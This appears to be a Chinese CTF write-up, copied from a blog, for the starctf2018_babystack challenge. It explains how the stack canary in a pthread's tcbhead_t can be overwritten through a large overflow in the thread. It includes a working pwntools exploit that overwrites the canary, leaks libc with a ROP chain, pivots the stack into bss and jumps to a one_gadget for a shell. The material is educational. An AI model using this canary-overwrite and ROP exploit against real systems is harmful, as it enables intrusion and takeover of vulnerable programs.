starctf2018_babystack
新知识
这道题又学到一个知识点,就是有关控制canary,之前所了解的就是他会生成一个随机数,然会放到一个寄存器中如下图64位时fs:28,32位时fs:14,在返回时会把这个寄存器中的数跟ebp里的数进行异或来检查是否被破坏,所以我以往绕过canary的方法就是泄露、爆破。在做这道题时又知道canary的另一种做法,就是直接控制用于异或的寄存器的值。
首先简单说一下canary的保存一些知识(canary的生成可以自己上网学习,看一下源码)
这个随机数是一个在链接前完成,是一个内核随机数,
1、从 __libc_start_init
函数出发,看看是否 开启canary保护(Thread Local Storage)线程局部存储(也就是设置了THREAD_SET_STACK_GUARD
宏)
2、线程控制块结构就是pthread,我们在这里主要讲一下结构体 tcbhead_t
// sysdeps\x86_64\nptl\tls.h
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; 存放单个线程的canary
uintptr_t pointer_guard;
...
} tcbhead_t;
tcb 指针和 self 指针,实际指向的都是同一个地址,即 struct pthread 结构体(亦或者是 struct tcbhead_t 本身,这两个结构体地址相同)因此我们用
p/x pthread_self()打印canary
x/x pthread_self()打印结构体的地址,快速找到stack_guard
stack_guard 存放单个线程的canary
利用
既然我们可以找到用存放canary的地址是不是可以很轻易的控制canary,并不是,它主要有两个前提
1、这个程序有个子进程
2、在子进程有一个很大的溢出
这是因为在主进程中tcbhead_t结构体映射的的地方是不固定,而又因为每个进程都有自己的tcbhead_t,并且开启的子进程的tcbhead_t结构体与栈用mmap映射到同一个段中并位于较高的地址,这也就是我们有溢出的可能
保护策略
程序分析
用pthread_create函数开了一个函数start_routine,漏洞主要在start_routine中,在这个函数里有一个可以输入0x10000的漏洞
漏洞利用
明白canary这个漏洞之后就好做了。
两次输入
1、栈溢出控制返回地址执行一个puts泄露libc地址,一个read,控制canary
2、向bss段写入onegadget地址
在第一次输入中有两个细节。因为有leave指令,所以esp会多次指向第一次输入的数据上,根据调试,找到位置执行read,并把执行流指向bss段,指向bss段的那一步开始的时候我是想直接指向bss的地址,但是他是一个二重指针,也就是说如果我这样做并不会执行,如下图他会把我的onegadget当成机械码执行,所以我在一步改为执行了修改esp
exp
from tools import*
context.log_level='debug'
p,e,libc=load('a','node4.buuoj.cn:27410','libc-2.27.so')
p.recvuntil('How many bytes do you want to send?\n')
pop_rdi=0x0000000000400c03
pop_rsi_r15=0x0000000000400c01
pop_rsp_r13_r14_r15=0x0000000000400bfd
p.sendline(str(0x1850))
debug(p)
payload=b'a'*0x1008
payload+=p64(0xdeadbeef) #0x1048 canary
payload+=p64(0xbbbbbbbb)# ebp
payload+=p64(pop_rdi)+p64(e.got['puts'])+p64(e.plt['puts'])
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x602100)+p64(0)+p64(e.plt['read'])
payload=payload.ljust(0x1060,b'c')+p64(pop_rsp_r13_r14_r15)+p64(0x602100)+p64(0)*3
#修改rsp
#ret of read 0x6021c8
payload=payload.ljust(0x1848,b'a')
payload+=p64(0xdeadbeef)#控制canary
p.send(payload)
p.recvuntil("It's time to say goodbye.\n")
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('puts_addr')
libc_base=puts_addr-libc.symbols['puts']
log_addr('libc_base')
system=libc.symbols['system']+libc_base
pause()
payload=b'a'*0x18+p64(libc_base+search_og(1))
p.send(payload)
p.interactive()
参考
浅析 Linux 程序的 Canary 机制 | Kiprey's Blog
starctf2018_babystack | ZIKH26's Blog
标签:p64,puts,libc,starctf2018,babystack,canary,pop,payload From: https://www.cnblogs.com/trunk/p/16942679.html